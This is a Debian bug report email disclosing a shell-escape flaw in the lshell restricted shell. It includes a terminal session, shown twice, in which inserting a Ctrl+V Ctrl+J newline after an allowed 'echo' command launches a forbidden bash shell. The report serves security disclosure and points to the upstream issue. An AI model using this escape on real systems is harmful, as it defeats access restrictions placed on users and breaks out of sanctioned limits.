Package: lshell Version: 0.9.16-1 Severity: grave Tags: security upstream Justification: user security hole
Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit From: Vladislav Yarmak <yarmak.vladis...@gmail.com> To: Debian Bug Tracking System <sub...@bugs.debian.org> Subject: lshell: Shell outbreak with multiline commands Message-ID: <20160820194404.1737.15528.reportbug@debian> X-Mailer: reportbug 6.6.3 Date: Sat, 20 Aug 2016 22:44:04 +0300 X-Debbugs-Cc: Debian Security Team <t...@security.debian.org>, Debian Testing Security Team <secure-testing-t...@lists.alioth.debian.org> Package: lshell Version: 0.9.16-1 Severity: grave Tags: security upstream Justification: user security hole Just type <CTRL+V><CTRL+J> after any allowed command and then type desired restricted command: root@debian:~# getent passwd testuser testuser:x:1001:1001:,,,:/home/testuser:/usr/bin/lshell root@debian:~# su - testuser You are in a limited shell. Type '?' or 'help' to get the list of allowed commands testuser:~$ ? cd clear echo exit help history ll lpath ls lsudo testuser:~$ bash *** forbidden command: bash testuser:~$ echo bash testuser@debian:~$ ps -f UID PID PPID C STIME TTY TIME CMD testuser 1641 1640 0 22:27 pts/1 00:00:00 /usr/bin/python /usr/bin/lshell testuser 1642 1641 0 22:27 pts/1 00:00:00 sh -c set -m; echo bash testuser 1643 1642 0 22:27 pts/1 00:00:00 bash testuser 1648 1643 0 22:27 pts/1 00:00:00 ps -f Problem exists in current upstream code. There are opened issue on Github but no reaction yet: https://github.com/ghantoos/lshell/issues/149. Command parser in this shell is beyound of recovery. I recommend to replace this shell with symlink to /usr/sbin/nologin. -- System Information: Debian Release: 8.5 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.16.0-4-amd64 (SMP w/2 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages lshell depends on: ii adduser 3.113+nmu3 ii python 2.7.9-1 lshell recommends no packages. lshell suggests no packages. -- no debconf information *** outbreak.txt root@debian:~# getent passwd testuser testuser:x:1001:1001:,,,:/home/testuser:/usr/bin/lshell root@debian:~# su - testuser You are in a limited shell. Type '?' or 'help' to get the list of allowed commands testuser:~$ ? cd clear echo exit help history ll lpath ls lsudo testuser:~$ bash *** forbidden command: bash testuser:~$ echo bash testuser@debian:~$ ps -f UID PID PPID C STIME TTY TIME CMD testuser 1641 1640 0 22:27 pts/1 00:00:00 /usr/bin/python /usr/bin/lshell testuser 1642 1641 0 22:27 pts/1 00:00:00 sh -c set -m; echo bash testuser 1643 1642 0 22:27 pts/1 00:00:00 bash testuser 1648 1643 0 22:27 pts/1 00:00:00 ps -f -- System Information: Debian Release: 8.5 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.16.0-4-amd64 (SMP w/2 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages lshell depends on: ii adduser 3.113+nmu3 ii python 2.7.9-1 lshell recommends no packages. lshell suggests no packages. -- no debconf information